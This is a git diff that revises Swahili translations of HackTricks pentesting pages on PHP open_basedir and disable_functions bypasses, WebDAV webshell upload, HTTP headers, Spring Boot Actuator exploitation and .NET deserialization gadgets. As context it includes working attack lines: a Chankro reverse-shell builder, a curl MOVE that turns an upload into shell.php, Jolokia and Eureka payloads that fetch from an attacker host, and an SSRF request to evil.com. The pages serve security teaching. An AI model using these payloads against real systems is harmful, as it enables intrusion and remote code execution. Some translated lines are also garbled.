yoyote nje** ya folda hizo, lakini pia huwezi **hata kuweza kuorodhesha** saraka nyingine.\ Hata hivyo, ikiwa kwa namna fulani unaweza kutekeleza msimbo wa PHP wa kawaida unaweza **jaribu** kipande hiki cha **codes** kujaribu **bypass** kikomo hicho. -### Kuorodhesha saraka kwa glob:// bypass +### Listing dirs with glob:// bypass -Katika mfano huu wa kwanza, itifaki ya `glob://` na njia fulani ya bypass inatumika: +Katika mfano huu wa kwanza, itifaki ya `glob://` pamoja na njia fulani ya bypass inatumika: ```php "; **Note2**: Inaonekana kama sehemu ya msimbo imejirudia, lakini hiyo ni muhimu!\ **Note3**: Mfano huu ni wa manufaa tu kuorodhesha folda si kusoma faili -### Kukwepa open_basedir kwa kutumia FastCGI +### Kamilisha open_basedir bypass kwa kutumia FastCGI Ikiwa unataka **kujifunza zaidi kuhusu PHP-FPM na FastCGI** unaweza kusoma [sehemu ya kwanza ya ukurasa huu](disable_functions-bypass-php-fpm-fastcgi.md).\ -Ikiwa **`php-fpm`** imewekwa unaweza kuitumia kuweza kukwepa kabisa **open_basedir**: +Ikiwa **`php-fpm`** imewekwa unaweza kuitumia kuondoa kabisa **open_basedir**: ![](<../../../../images/image (545).png>) @@ -472,17 +472,17 @@ $params = array( echo $client->request($params, $code)."\n"; ?> ``` -Hii skripti itawasiliana na **unix socket ya php-fpm** (kawaida iko katika /var/run ikiwa fpm inatumika) ili kutekeleza msimbo wowote. Mipangilio ya `open_basedir` itabadilishwa na sifa ya **PHP_VALUE** inayotumwa.\ -Kumbuka jinsi `eval` inavyotumika kutekeleza msimbo wa PHP unayotuma ndani ya **cmd** parameter.\ +Hii scripts itawasiliana na **unix socket ya php-fpm** (kawaida iko katika /var/run ikiwa fpm inatumika) ili kutekeleza msimbo wa kiholela. Mipangilio ya `open_basedir` itabadilishwa na sifa ya **PHP_VALUE** inayotumwa.\ +Kumbuka jinsi `eval` inavyotumika kutekeleza msimbo wa PHP unayotuma ndani ya parameter ya **cmd**.\ Pia kumbuka **mstari wa 324 ulio na maoni**, unaweza kuondoa maoni na **payload itajihusisha moja kwa moja na URL iliyotolewa na kutekeleza msimbo wa PHP** ulio ndani yake.\ Fikia tu `http://vulnerable.com:1337/l.php?cmd=echo file_get_contents('/etc/passwd');` ili kupata maudhui ya faili ya `/etc/passwd`. > [!WARNING] -> Unaweza kufikiria kwamba kwa njia ile ile tulivyoandika upya mipangilio ya `open_basedir` tunaweza **kuandika upya `disable_functions`**. Vizuri, jaribu, lakini haitafanya kazi, kwa sababu inaonekana **`disable_functions` inaweza kuandikwa tu katika faili ya mipangilio ya `.ini` php** na mabadiliko unayofanya kwa kutumia PHP_VALUE hayatakuwa na ufanisi kwenye mipangilio hii maalum. +> Unaweza kufikiria kwamba kwa njia ile ile tulivyo badilisha usanidi wa `open_basedir` tunaweza **kubadilisha `disable_functions`**. Vizuri, jaribu, lakini haitafanya kazi, kwa sababu inaonekana **`disable_functions` inaweza kuwekwa tu katika faili ya usanidi ya `.ini` ya php** na mabadiliko unayofanya kwa kutumia PHP_VALUE hayatakuwa na ufanisi kwenye usanidi huu maalum. ## disable_functions Bypass -Ikiwa unafanikiwa kuwa na msimbo wa PHP ukitekelezwa ndani ya mashine, huenda unataka kwenda kwenye kiwango kinachofuata na **kutekeleza amri za mfumo zisizo na mipaka**. Katika hali hii ni kawaida kugundua kwamba nyingi au zote za **functions** za PHP zinazoruhusu **kutekeleza amri za mfumo zimezuiliwa** katika **`disable_functions`.**\ +Ikiwa unapata kuwa na msimbo wa PHP unatekelezwa ndani ya mashine, huenda unataka kwenda kwenye kiwango kingine na **kutekeleza amri za mfumo za kiholela**. Katika hali hii ni kawaida kugundua kwamba nyingi au zote za **functions** za PHP zinazoruhusu **kutekeleza amri za mfumo zimezuiliwa** katika **`disable_functions`.**\ Hivyo, hebu tuone jinsi unavyoweza kupita kizuizi hiki (ikiwa unaweza) ### Automatic bypass discovery @@ -491,11 +491,11 @@ Unaweza kutumia chombo [https://github.com/teambi0s/dfunc-bypasser](https://gith ### Bypassing using other system functions -Rudi tu mwanzo wa ukurasa huu na **angalia ikiwa yoyote ya functions zinazotekeleza amri haijazuiliwa na inapatikana katika mazingira**. Ikiwa unapata moja tu kati yao, utaweza kuitumia kutekeleza amri za mfumo zisizo na mipaka. +Rudi tu mwanzo wa ukurasa huu na **angalia ikiwa yoyote ya functions zinazotekeleza amri haijazuiliwa na inapatikana katika mazingira**. Ikiwa unapata moja tu kati yao, utaweza kuitumia kutekeleza amri za mfumo za kiholela. ### LD_PRELOAD bypass -Inajulikana kwamba baadhi ya functions katika PHP kama `mail()` zitafanya **kutekeleza binaries ndani ya mfumo**. Kwa hivyo, unaweza kuzitumia vibaya kwa kutumia variable ya mazingira `LD_PRELOAD` ili kufanya zipakue maktaba yoyote inayoweza kutekeleza chochote. +Inajulikana kwamba baadhi ya functions katika PHP kama `mail()` zitafanya **kutekeleza binaries ndani ya mfumo**. Kwa hivyo, unaweza kuzitumia vibaya kwa kutumia variable ya mazingira `LD_PRELOAD` ili kufanya zipakue maktaba ya kiholela ambayo inaweza kutekeleza chochote. #### Functions that can be used to bypass disable_functions with LD_PRELOAD @@ -506,7 +506,7 @@ Inajulikana kwamba baadhi ya functions katika PHP kama `mail()` zitafanya **kute - **`gnupg_init`**: Inaweza kutumika ikiwa moduli ya `php-gnupg` imewekwa. - **`new imagick()`**: Darasa hili linaweza kutumika vibaya ili kupita vizuizi. Mbinu za kina za unyakuzi zinaweza kupatikana katika [**andiko hapa**](https://blog.bi0s.in/2019/10/23/Web/BSidesDelhi19-evalme/). -Unaweza [**kupata hapa**](https://github.com/tarunkant/fuzzphunc/blob/master/lazyFuzzer.py) skripti ya fuzzing iliyotumika kupata hizo functions. +Unaweza [**kupata hapa**](https://github.com/tarunkant/fuzzphunc/blob/master/lazyFuzzer.py) script ya fuzzing ambayo ilitumika kupata hizo functions. Hapa kuna maktaba unaweza kuunda ili kutumia variable ya mazingira ya `LD_PRELOAD`: ```php @@ -523,11 +523,11 @@ return 1; ``` #### Bypass using Chankro -Ili kutumia vibaya usanidi huu mbaya unaweza [**Chankro**](https://github.com/TarlogicSecurity/Chankro). Hii ni zana ambayo itaunda **PHP exploit** ambayo unahitaji kupakia kwenye seva iliyo hatarini na kuitekeleza (fikia kupitia wavuti).\ -**Chankro** itaandika ndani ya diski za waathirika **maktaba na reverse shell** unayotaka kutekeleza na itatumia **`LD_PRELOAD` trick + PHP `mail()`** kazi ili kutekeleza reverse shell. +Ili kutumia vibaya usanidi huu mbovu unaweza [**Chankro**](https://github.com/TarlogicSecurity/Chankro). Hii ni zana ambayo itaunda **PHP exploit** ambayo unahitaji kupakia kwenye seva iliyo hatarini na kuitekeleza (fikia kupitia wavuti).\ +**Chankro** itaandika ndani ya diski ya waathirika **maktaba na reverse shell** unayotaka kutekeleza na itatumia **`LD_PRELOAD` trick + PHP `mail()`** function kutekeleza reverse shell. Kumbuka kwamba ili kutumia **Chankro**, `mail` na `putenv` **haziwezi kuonekana ndani ya orodha ya `disable_functions`**.\ -Katika mfano ufuatao unaweza kuona jinsi ya **kuunda chankro exploit** kwa **arch 64**, ambayo itatekeleza `whoami` na kuokoa matokeo katika _/tmp/chankro_shell.out_, chankro it **andika maktaba na payload** katika _/tmp_ na **exploit ya mwisho** itaitwa **bicho.php** (hiyo ndiyo faili unahitaji kupakia kwenye seva za waathirika): +Katika mfano ufuatao unaweza kuona jinsi ya **kuunda chankro exploit** kwa **arch 64**, ambayo itatekeleza `whoami` na kuokoa matokeo katika _/tmp/chankro_shell.out_, chankro it **andika maktaba na payload** katika _/tmp_ na **exploit ya mwisho** itaitwa **bicho.php** (hiyo ndiyo faili unahitaji kupakia kwenye seva ya waathirika): {{#tabs}} {{#tab name="shell.sh"}} @@ -544,7 +544,7 @@ python2 chankro.py --arch 64 --input shell.sh --path /tmp --output bicho.php {{#endtab}} {{#endtabs}} -Ikiwa unapata kwamba **mail** kazi imezuiwa na kazi zilizozuiliwa, unaweza bado kuwa na uwezo wa kutumia kazi **mb_send_mail.**\ +Ikiwa unakutana na **mail** function imezuiwa na kazi zilizozuiliwa, unaweza bado kutumia kazi **mb_send_mail.**\ Taarifa zaidi kuhusu mbinu hii na Chankro hapa: [https://www.tarlogic.com/en/blog/how-to-bypass-disable_functions-and-open_basedir/](https://www.tarlogic.com/en/blog/how-to-bypass-disable_functions-and-open_basedir/) ### "Bypass" kwa kutumia uwezo wa PHP @@ -593,7 +593,7 @@ Script ifuatayo inajaribu baadhi ya mbinu zilizozungumziwa hapa:\ ### Orodha ya kazi zinazokubali callbacks -Kazi hizi zinakubali parameter ya string ambayo inaweza kutumika kuita kazi ya uchaguzi wa mshambuliaji. Kulingana na kazi, mshambuliaji anaweza kuwa na uwezo wa kupitisha parameter au la. Katika hali hiyo, kazi ya Ufichuzi wa Taarifa kama phpinfo() inaweza kutumika. +Kazi hizi zinakubali parameter ya string ambayo inaweza kutumika kuita kazi ya uchaguzi wa mshambuliaji. Kulingana na kazi, mshambuliaji anaweza kuwa na uwezo wa kupitisha parameter au la. Katika hali hiyo, kazi ya Ufichaji wa Taarifa kama phpinfo() inaweza kutumika. [Callbacks / Callables](https://www.php.net/manual/en/language.types.callable.php) @@ -633,9 +633,9 @@ Kazi hizi zinakubali parameter ya string ambayo inaweza kutumika kuita kazi ya u 'sqlite_create_aggregate' => array(2, 3), 'sqlite_create_function' => 2, ``` -### Ufunuo wa Taarifa +### Information Disclosure -Mara nyingi, kito hiki cha kazi si vyanzo. Lakini inaweza kuwa udhaifu ikiwa data yoyote iliyorejeshwa inaonekana kwa mshambuliaji. Ikiwa mshambuliaji anaweza kuona phpinfo(), ni udhaifu bila shaka. +Mara nyingi, hizi kito za kazi si vyanzo. Lakini inaweza kuwa udhaifu ikiwa data yoyote iliyorejeshwa inaonekana kwa mshambuliaji. Ikiwa mshambuliaji anaweza kuona phpinfo(), ni udhaifu bila shaka. ```php phpinfo posix_mkfifo @@ -677,7 +677,7 @@ posix_setuid ``` ### Filesystem Functions -Kulingana na RATS, kazi zote za filesystem katika php ni mbaya. Baadhi ya hizi hazionekani kuwa na manufaa sana kwa mshambuliaji. Nyingine ni za manufaa zaidi kuliko unavyoweza kufikiria. Kwa mfano, ikiwa allow_url_fopen=On, basi url inaweza kutumika kama njia ya faili, hivyo wito wa copy($\_GET\['s'], $\_GET\['d']); unaweza kutumika kupakia script ya PHP mahali popote kwenye mfumo. Pia, ikiwa tovuti ina udhaifu wa ombi lililotumwa kupitia GET, kila moja ya hizo kazi za filesystem inaweza kutumika vibaya kupeleka shambulio kwa mwenyeji mwingine kupitia seva yako. +Kulingana na RATS, kazi zote za mfumo wa faili katika php ni mbaya. Baadhi ya hizi hazionekani kuwa na manufaa sana kwa mshambuliaji. Nyingine ni za manufaa zaidi kuliko unavyoweza kufikiria. Kwa mfano, ikiwa allow_url_fopen=On, basi url inaweza kutumika kama njia ya faili, hivyo wito wa copy($\_GET\['s'], $\_GET\['d']); unaweza kutumika kupakia skripti ya PHP mahali popote kwenye mfumo. Pia, ikiwa tovuti ina udhaifu wa ombi lililotumwa kupitia GET, kila moja ya hizo kazi za mfumo wa faili inaweza kutumika vibaya kupeleka shambulio kwa mwenyeji mwingine kupitia seva yako. **Open filesystem handler** ```php @@ -687,7 +687,7 @@ bzopen gzopen SplFileObject->__construct ``` -**Andika kwenye mfumo wa faili (kwa sehemu kwa pamoja na kusoma)** +**Andika kwenye mfumo wa faili (sehemu kwa sehemu kwa mchanganyiko na kusoma)** ```php chgrp chmod diff --git a/src/network-services-pentesting/pentesting-web/put-method-webdav.md b/src/network-services-pentesting/pentesting-web/put-method-webdav.md index 83db67ae6..c8aa7d7f2 100644 --- a/src/network-services-pentesting/pentesting-web/put-method-webdav.md +++ b/src/network-services-pentesting/pentesting-web/put-method-webdav.md @@ -2,15 +2,15 @@ {{#include ../../banners/hacktricks-training.md}} -Unaposhughulika na **HTTP Server yenye WebDav** iliyoanzishwa, inawezekana **kudhibiti faili** ikiwa una **vithibitisho** sahihi, ambavyo kawaida vinathibitishwa kupitia **HTTP Basic Authentication**. Kupata udhibiti wa seva kama hiyo mara nyingi kunahusisha **kupakia na kutekeleza webshell**. +Wakati wa kushughulika na **HTTP Server yenye WebDav** iliyoanzishwa, inawezekana **kudhibiti faili** ikiwa una **vithibitisho** sahihi, ambavyo kawaida vinathibitishwa kupitia **HTTP Basic Authentication**. Kupata udhibiti wa seva kama hiyo mara nyingi kunahusisha **kupakia na kutekeleza webshell**. Upatikanaji wa seva ya WebDav kawaida unahitaji **vithibitisho halali**, huku [**WebDav bruteforce**](../../generic-hacking/brute-force.md#http-basic-auth) ikiwa njia ya kawaida ya kuzipata. Ili kushinda vizuizi kwenye upakiaji wa faili, hasa vile vinavyokataza utekelezaji wa skripti za upande wa seva, unaweza: -- **Kupakia** faili zenye **nyongeza zinazoweza kutekelezwa** moja kwa moja ikiwa hazijakatazwa. -- **Kubadilisha jina** la faili zisizoweza kutekelezwa zilizopakiwa (kama .txt) kuwa nyongeza inayoweza kutekelezwa. -- **Kopi** faili zisizoweza kutekelezwa zilizopakiwa, ukibadilisha nyongeza yao kuwa ile inayoweza kutekelezwa. +- **Pakia** faili zenye **nyongeza zinazoweza kutekelezwa** moja kwa moja ikiwa hazijakatazwa. +- **Badilisha jina** la faili zisizoweza kutekelezwa zilizopakiwa (kama .txt) kuwa nyongeza inayoweza kutekelezwa. +- **Nakili** faili zisizoweza kutekelezwa zilizopakiwa, ukibadilisha nyongeza yao kuwa ile inayoweza kutekelezwa. ## DavTest @@ -39,16 +39,16 @@ curl -X MOVE --header 'Destination:http://$ip/shell.php' 'http://$ip/shell.txt' ``` ## IIS5/6 WebDav Vulnerability -Ushirikiano huu ni wa kuvutia sana. **WebDav** ha **iruhusu** **kupakia** au **kurekebisha** faili zenye kiambishi **.asp**. Lakini unaweza **kuepuka** hii kwa **kuongeza** mwishoni mwa jina **";.txt"** na faili itatekelezwa kana kwamba ni faili ya .asp (unaweza pia **kutumia ".html" badala ya ".txt"** lakini **USISAHAU ";"**). +Ushirikiano huu ni wa kuvutia sana. **WebDav** ha **iruhusu** **kupakia** au **kurekebisha** faili zenye kiambishi **.asp**. Lakini unaweza **kuepuka** hili kwa **kuongeza** mwishoni mwa jina **";.txt"** na faili itatekelezwa kana kwamba ni faili ya .asp (unaweza pia **kutumia ".html" badala ya ".txt"** lakini **USISAHAU ";"**). -Kisha unaweza **kupakia** shell yako kama faili ya ".**txt"** na **kunakili/kuhamasisha** kwenye faili ya ".asp;.txt". Ukifungua faili hiyo kupitia seva ya wavuti, itatekelezwa (cadaver itasema kwamba hatua ya kuhamasisha haikufanya kazi, lakini ilifanya). +Kisha unaweza **kupakia** shell yako kama faili ".**txt"** na **kunakili/kuhamasisha** kwenye faili ".asp;.txt". Ukifungua faili hiyo kupitia seva ya wavuti, itatekelezwa (cadaver itasema kuwa hatua ya kuhamasisha haikufanya kazi, lakini ilifanya). ![](<../../images/image (1092).png>) ## Post credentials Ikiwa Webdav ilikuwa ikitumia seva ya Apache unapaswa kuangalia tovuti zilizowekwa kwenye Apache. Kawaida:\ -\_**/etc/apache2/sites-enabled/000-default**_ +_**/etc/apache2/sites-enabled/000-default**_ Ndani yake unaweza kupata kitu kama: ``` @@ -61,7 +61,7 @@ AuthName "webdav" AuthUserFile /etc/apache2/users.password Require valid-user ``` -Kama unavyoona kuna faili zenye **credentials** halali za seva ya **webdav**: +Kama unavyoona kuna faili zenye **credentials** halali za **webdav** server: ``` /etc/apache2/users.password ``` diff --git a/src/network-services-pentesting/pentesting-web/special-http-headers.md b/src/network-services-pentesting/pentesting-web/special-http-headers.md index 856826581..ced774129 100644 --- a/src/network-services-pentesting/pentesting-web/special-http-headers.md +++ b/src/network-services-pentesting/pentesting-web/special-http-headers.md @@ -76,7 +76,7 @@ A hop-by-hop header is a header which is designed to be processed and consumed b ## Conditionals -- Requests using these headers: **`If-Modified-Since`** and **`If-Unmodified-Since`** will be responded with data only if the response header\*\*`Last-Modified`\*\* contains a different time. +- Requests using these headers: **`If-Modified-Since`** and **`If-Unmodified-Since`** will be responded with data only if the response header**`Last-Modified`** contains a different time. - Conditional requests using **`If-Match`** and **`If-None-Match`** use an Etag value so the web server will send the content of the response if the data (Etag) has changed. The `Etag` is taken from the HTTP response. - The **Etag** value is usually **calculated based** on the **content** of the response. For example, `ETag: W/"37-eL2g8DEyqntYlaLp5XLInBWsjWI"` indicates that the `Etag` is the **Sha1** of **37 bytes**. @@ -108,8 +108,8 @@ For example a combination of **`Range`** and **`Etag`** in a HEAD request can le ## Controls -- **`Allow`**: This header is used to communicate the HTTP methods a resource can handle. For example, it might be specified as `Allow: GET, POST, HEAD`, indicating that the resource supports these methods. -- **`Expect`**: Utilized by the client to convey expectations that the server needs to meet for the request to be processed successfully. A common use case involves the `Expect: 100-continue` header, which signals that the client intends to send a large data payload. The client looks for a `100 (Continue)` response before proceeding with the transmission. This mechanism helps in optimizing network usage by awaiting server confirmation. +- **`Allow`**: Header hii inatumika kuwasilisha mbinu za HTTP ambazo rasilimali inaweza kushughulikia. Kwa mfano, inaweza kuainishwa kama `Allow: GET, POST, HEAD`, ikionyesha kwamba rasilimali inasaidia mbinu hizi. +- **`Expect`**: Inatumika na mteja kuwasilisha matarajio ambayo seva inahitaji kutimiza ili ombi lilipwe kwa mafanikio. Matumizi ya kawaida ni pamoja na kichwa cha `Expect: 100-continue`, ambacho kinadhihirisha kwamba mteja anatarajia kutuma mzigo mkubwa wa data. Mteja anatazamia jibu la `100 (Continue)` kabla ya kuendelea na uhamasishaji. Mekanismu hii inasaidia kuboresha matumizi ya mtandao kwa kusubiri uthibitisho wa seva. ## Downloads @@ -148,7 +148,7 @@ el.innerHTML = escaped // Results in safe assignment. ``` ### **X-Content-Type-Options** -Kichwa hiki kinazuia upimaji wa aina ya MIME, mbinu ambayo inaweza kusababisha udhaifu wa XSS. Kinahakikisha kwamba vivinjari vinaheshimu aina za MIME zilizotolewa na seva. +Kichwa hiki kinazuia upimaji wa aina ya MIME, mbinu ambayo inaweza kusababisha udhaifu wa XSS. Kinahakikisha kwamba vivinjari vinaheshimu aina za MIME zilizotajwa na seva. ``` X-Content-Type-Options: nosniff ``` @@ -160,7 +160,7 @@ X-Frame-Options: DENY ``` ### **Cross-Origin Resource Policy (CORP) and Cross-Origin Resource Sharing (CORS)** -CORP ni muhimu kwa kubainisha ni rasilimali zipi zinaweza kupakiwa na tovuti, ikipunguza leaks za tovuti tofauti. CORS, kwa upande mwingine, inaruhusu mfumo wa kushiriki rasilimali za asili tofauti kwa njia ya kubadilika zaidi, ikirelax sera ya asili sawa chini ya hali fulani. +CORP ni muhimu kwa kubainisha ni rasilimali zipi zinaweza kupakiwa na tovuti, ikipunguza uvujaji wa taarifa kati ya tovuti. CORS, kwa upande mwingine, inaruhusu mfumo wa kubadilishana rasilimali za asili tofauti kwa njia rahisi, ikirekebisha sera ya asili sawa chini ya hali fulani. ``` Cross-Origin-Resource-Policy: same-origin Access-Control-Allow-Origin: https://example.com diff --git a/src/network-services-pentesting/pentesting-web/spring-actuators.md b/src/network-services-pentesting/pentesting-web/spring-actuators.md index 2aff275fd..712baa8d4 100644 --- a/src/network-services-pentesting/pentesting-web/spring-actuators.md +++ b/src/network-services-pentesting/pentesting-web/spring-actuators.md @@ -6,30 +6,30 @@
-**Kutoka** [**https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png**](https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png)\*\*\*\* +**From** [**https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png**](https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png) -## Kutumia Spring Boot Actuators +## Exploiting Spring Boot Actuators -**Angalia chapisho la asili kutoka** \[**https://www.veracode.com/blog/research/exploiting-spring-boot-actuators**] +**Check the original post from** \[**https://www.veracode.com/blog/research/exploiting-spring-boot-actuators**] -### **Mambo Muhimu:** +### **Key Points:** -- Spring Boot Actuators inasajili mwisho kama `/health`, `/trace`, `/beans`, `/env`, n.k. Katika toleo la 1 hadi 1.4, mwisho haya yanapatikana bila uthibitisho. Kuanzia toleo la 1.5 na kuendelea, tu `/health` na `/info` hazina hatari kwa default, lakini waendelezaji mara nyingi huondoa usalama huu. +- Spring Boot Actuators hujaza mwisho kama `/health`, `/trace`, `/beans`, `/env`, n.k. Katika toleo la 1 hadi 1.4, mwisho haya yanapatikana bila uthibitisho. Kuanzia toleo la 1.5 kuendelea, tu `/health` na `/info` hazina hatari kwa msingi, lakini waendelezaji mara nyingi huondoa usalama huu. - Baadhi ya mwisho za Actuator zinaweza kufichua data nyeti au kuruhusu vitendo vya hatari: - `/dump`, `/trace`, `/logfile`, `/shutdown`, `/mappings`, `/env`, `/actuator/env`, `/restart`, na `/heapdump`. -- Katika Spring Boot 1.x, actuators zinasajiliwa chini ya URL ya mzizi, wakati katika 2.x, ziko chini ya njia ya msingi `/actuator/`. +- Katika Spring Boot 1.x, actuators hujaza chini ya URL ya mzizi, wakati katika 2.x, ziko chini ya njia ya msingi `/actuator/`. -### **Mbinu za Kutumia:** +### **Exploitation Techniques:** -1. **Utekelezaji wa Kanuni ya Kijijini kupitia '/jolokia'**: +1. **Remote Code Execution via '/jolokia'**: - Mwisho wa actuator `/jolokia` unafichua Maktaba ya Jolokia, ambayo inaruhusu ufikiaji wa HTTP kwa MBeans. -- Kitendo cha `reloadByURL` kinaweza kutumika kuhamasisha mipangilio ya uandishi kutoka URL ya nje, ambayo inaweza kusababisha XXE ya kipofu au Utekelezaji wa Kanuni ya Kijijini kupitia mipangilio ya XML iliyoundwa. -- Mfano wa URL ya kutumia: `http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml`. -2. **Mabadiliko ya Mipangilio kupitia '/env'**: +- Kitendo `reloadByURL` kinaweza kutumika kuhamasisha mipangilio ya uandishi kutoka URL ya nje, ambayo inaweza kusababisha XXE ya kipofu au Utekelezaji wa Kode ya K remote kupitia mipangilio ya XML iliyoundwa. +- Mfano wa URL ya shambulio: `http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml`. +2. **Config Modification via '/env'**: - Ikiwa Maktaba za Spring Cloud zipo, mwisho wa `/env` unaruhusu mabadiliko ya mali za mazingira. -- Mali zinaweza kubadilishwa ili kutumia udhaifu, kama udhaifu wa deserialization wa XStream katika huduma ya Eureka serviceURL. -- Mfano wa ombi la POST la kutumia: +- Mali zinaweza kubadilishwa ili kutumia udhaifu, kama vile udhaifu wa deserialization wa XStream katika huduma ya Eureka serviceURL. +- Mfano wa ombi la POST la shambulio: ``` POST /env HTTP/1.1 @@ -40,27 +40,25 @@ Content-Length: 65 eureka.client.serviceUrl.defaultZone=http://artsploit.com/n/xstream ``` -3. **Mipangilio Mingine ya Faida**: -- Mali kama `spring.datasource.tomcat.validationQuery`, `spring.datasource.tomcat.url`, na `spring.datasource.tomcat.max-active` zinaweza kubadilishwa kwa matumizi mbalimbali, kama injection ya SQL au kubadilisha nyuzi za muunganisho wa database. +3. **Other Useful Settings**: +- Mali kama `spring.datasource.tomcat.validationQuery`, `spring.datasource.tomcat.url`, na `spring.datasource.tomcat.max-active` zinaweza kubadilishwa kwa shambulio mbalimbali, kama vile kuingilia SQL au kubadilisha nyuzi za muunganisho wa database. -### **Taarifa Zaidi:** +### **Additional Information:** -- Orodha kamili ya actuators za default inaweza kupatikana [hapa](https://github.com/artsploit/SecLists/blob/master/Discovery/Web-Content/spring-boot.txt). +- Orodha kamili ya actuators za msingi inaweza kupatikana [here](https://github.com/artsploit/SecLists/blob/master/Discovery/Web-Content/spring-boot.txt). - Mwisho wa `/env` katika Spring Boot 2.x unatumia muundo wa JSON kwa mabadiliko ya mali, lakini dhana ya jumla inabaki sawa. -### **Mada Zinazohusiana:** +### **Related Topics:** 1. **Env + H2 RCE**: -- Maelezo kuhusu kutumia mchanganyiko wa mwisho wa `/env` na database ya H2 yanaweza kupatikana [hapa](https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database). -2. **SSRF kwenye Spring Boot Kupitia Tafsiri Mbaya ya Njia**: - -- Usimamizi wa mfumo wa Spring wa vigezo vya matrix (`;`) katika njia za HTTP unaweza kutumika kwa Server-Side Request Forgery (SSRF). -- Mfano wa ombi la kutumia: +- Maelezo kuhusu kutumia mchanganyiko wa mwisho wa `/env` na database ya H2 yanaweza kupatikana [here](https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database). +2. **SSRF on Spring Boot Through Incorrect Pathname Interpretation**: +- Usimamizi wa mfumo wa Spring wa vigezo vya matrix (`;`) katika majina ya njia za HTTP unaweza kutumika kwa Server-Side Request Forgery (SSRF). +- Mfano wa ombi la shambulio: ```http GET ;@evil.com/url HTTP/1.1 Host: target.com Connection: close ``` - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md b/src/pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md index a40e86ab8..9e1cf6155 100644 --- a/src/pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md +++ b/src/pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md @@ -1,4 +1,4 @@ -# Msingi wa .Net deserialization (Gadget ya ObjectDataProvider, ExpandedWrapper, na Json.Net) +# Msingi wa .Net deserialization (gadget ya ObjectDataProvider, ExpandedWrapper, na Json.Net) {{#include ../../banners/hacktricks-training.md}} @@ -6,9 +6,9 @@ Post hii inajitolea kwa **kuelewa jinsi gadget ya ObjectDataProvider inavyotumiw ## Gadget ya ObjectDataProvider -Kutoka kwenye nyaraka: _darasa la ObjectDataProvider linafungua na kuunda kitu ambacho unaweza kutumia kama chanzo cha uhusiano_.\ +Kutoka kwenye hati: _darasa la ObjectDataProvider linafungua na kuunda kitu ambacho unaweza kutumia kama chanzo cha uhusiano_.\ Ndio, ni maelezo ya ajabu, hivyo hebu tuone ni nini darasa hili lina ambacho ni cha kuvutia sana: Darasa hili linaruhusu **kufunga kitu chochote**, kutumia _**MethodParameters**_ kuweka **vigezo vyovyote,** na kisha **kutumia MethodName kuita kazi yoyote** ya kitu chochote kilichotangazwa kwa kutumia vigezo vyovyote.\ -Hivyo, **kitu** chochote kitafanya **kazi** na **vigezo wakati kinapokuwa kinadeserialized.** +Hivyo, **kitu** hicho kitafanya **kazi** na **vigezo wakati kinapokuwa kinadeserialized.** ### **Jinsi hii inavyowezekana** @@ -22,7 +22,7 @@ Kama unavyoona wakati `MethodName` imewekwa `base.Refresh()` inaitwa, hebu tuang ![](<../../images/image (319).png>) -Sawa, hebu tuendelee kuona `this.BeginQuery()` inafanya nini. `BeginQuery` imeandikwa upya na `ObjectDataProvider` na hii ndiyo inafanya: +Sawa, hebu tuendelee kuona `this.BeginQuery()` inafanya nini. `BeginQuery` imezuiliwa na `ObjectDataProvider` na hiki ndicho inachofanya: ![](<../../images/image (345).png>) @@ -30,9 +30,9 @@ Kumbuka kwamba mwishoni mwa msimbo inaita `this.QueryWorke(null)`. Hebu tuone in ![](<../../images/image (596).png>) -Kumbuka kwamba hii si msimbo kamili wa kazi ya `QueryWorker` lakini inaonyesha sehemu ya kuvutia ya hiyo: Msimbo **unaita `this.InvokeMethodOnInstance(out ex);`** hii ndiyo mistari ambapo **seti ya njia inaitwa**. +Kumbuka kwamba hii si msimbo kamili wa kazi ya `QueryWorker` lakini inaonyesha sehemu ya kuvutia: Msimbo **unaita `this.InvokeMethodOnInstance(out ex);`** hii ndiyo mistari ambapo **seti ya njia inaitwa**. -Ikiwa unataka kuangalia kwamba kwa kuweka tu _**MethodName**_\*\* itatekelezwa\*\*, unaweza kukimbia msimbo huu: +Ikiwa unataka kuangalia kwamba kwa kuweka tu _**MethodName**_** itatekelezwa**, unaweza kukimbia msimbo huu: ```java using System.Windows.Data; using System.Diagnostics; @@ -56,10 +56,10 @@ Kumbuka kwamba unahitaji kuongeza kama rejeleo _C:\Windows\Microsoft.NET\Framewo ## ExpandedWrapper -Kwa kutumia exploit iliyotangulia kutakuwa na kesi ambapo **kitu** kitakuwa **deserialized kama** _**ObjectDataProvider**_ mfano (kwa mfano katika DotNetNuke vuln, kwa kutumia XmlSerializer, kitu kilikuwa deserialized kwa kutumia `GetType`). Hivyo, hatutakuwa na **ufahamu wa aina ya kitu kilichofichwa** katika _ObjectDataProvider_ mfano (`Process` kwa mfano). Unaweza kupata [maelezo zaidi kuhusu DotNetNuke vuln hapa](https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F&sandbox=1). +Kwa kutumia exploit iliyotangulia kutakuwa na kesi ambapo **kitu** kitakuwa **kimeondolewa** kama _**ObjectDataProvider**_ mfano (kwa mfano katika DotNetNuke vuln, kwa kutumia XmlSerializer, kitu kiliondolewa kwa kutumia `GetType`). Hivyo, hakutakuwa na **ufahamu wa aina ya kitu kilichofichwa** katika mfano wa _ObjectDataProvider_ (`Process` kwa mfano). Unaweza kupata [maelezo zaidi kuhusu DotNetNuke vuln hapa](https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F&sandbox=1). -Darasa hili linaruhusu 